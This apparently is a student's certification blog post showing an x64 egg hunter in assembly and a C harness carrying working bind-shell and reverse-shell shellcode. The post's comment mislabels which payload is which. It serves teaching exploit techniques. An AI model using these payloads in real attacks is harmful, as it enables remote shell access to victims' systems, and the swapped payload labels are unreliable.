This is the third assignment for the SecurityTube Linux Assembly Expert certification, it consists in the demonstration of my own implementation of an Egg Hunter that works with different payloads.
An Egg Hunter is a piece of code that will search for specific pattern, called the ‘egg’, in memory in order to find it’s address which usually prepends another injected payload containing the actual shellcode.
I’ve assumed the payload is injected somewhere in higher address within the same code segment as our egg hunter.
Since this is x64 I’ve chosen to use a relative RIP addressing instead of the traditional JMP/CALL/POP technique for obtaining the address where to start the pattern search.
For this example the ‘egg’ is the ascii string ‘SLAE’.
1 2 3 4 5 6 7 8 9 10 11 12 |
BITS 64 global _start section .text _start: lea eax, [rel end+0x4] next: inc eax cmp dword [eax-0x4], 'SLAE' jne next jmp rax end: |
This code compiles to a 21 byte shellcode, pretty acceptable in my opinion.
In order to properly test this egghunter with various payloads I’ve created the C program below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
#include <stdio.h> #include <unistd.h> #define PAYLOAD 0 // 0 - Bind shell; 1 - Reverse shell #define EGG "SLAE" // must be 4byte const unsigned char egghunter[] = \ "\x8d\x05\x12\x00\x00\x00\xff\xc0\x67\x81\x78\xfc" EGG "\x75\xf4\xff\xe0"; const unsigned char bogus[] = \ "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90"; #if PAYLOAD const unsigned char payload[] = \ EGG "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x50\x5f\x52\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x23\x07\x54\x5e\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x56\x31\xf6\x6a\x32\x58\x0f\x05\x5e\x52\x54\x5a\x6a\x2b\x58\x0f\x05\x5a\x50\x6a\x03\x58\x0f\x05\x5f\x31\xc0\x54\x5e\x0f\x05\x81\x3e\x37\x36\x39\x38\x75\x23\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x6a\x3b\x58\x0f\x05"; #else const unsigned char payload[] = \ EGG "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" "\x5e\x48\x31\xd2\x0f\x05\x50\x5f" "\x52\x52\xc6\x04\x24\x02\x66\xc7" "\x44\x24\x02\x23\x07\xb8\xd5\xaa" "\xaa\xab\x35\xaa\xaa\xaa\xaa\x89" "\x44\x24\x04\x54\x5e\x6a\x10\x5a" "\x6a\x2a\x58\x0f\x05\x31\xc0\x0f" "\x05\x81\x3e\x37\x36\x39\x38\x75" "\x25\x6a\x03\x5e\x48\xff\xce\x6a" "\x21\x58\x0f\x05\x75\xf6\x48\x29" "\xd2\x52\x52\x5e\x48\xbf\x2f\x2f" "\x62\x69\x6e\x2f\x73\x68\x57\x54" "\x5f\x6a\x3b\x58\x0f\x05"; #endif int main (int argc, char** argv) { printf("Shellcode length: %d\n", sizeof(payload)); printf("Egghunter length: %d\n", sizeof(egghunter)); int (*p)() = (int(*)())egghunter; p(); } |
You can change the payload between a bind shell (assignment #1) and a reverse shell (assignment #2) by changing value of PAYLOAD and recompiling.
1 |
#define PAYLOAD 0 // 0 - Bind shell; 1 - Reverse shell |
Also it’s possible to use a different ‘egg’ value, as long as it is 4 bytes in length by changing the definion of EGG and recompiling.
1 |
#define EGG "SLAE" // must be 4byte |
There are other possibilities for the creationg of the egg hunter, namely one could assume the payload to have been injected in the stack and thus search for the ‘egg’ in the stack instead. I might still post such a version in the future if I have the time.
All code is available from my Github repo.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification.
Student ID: SLAE64-1440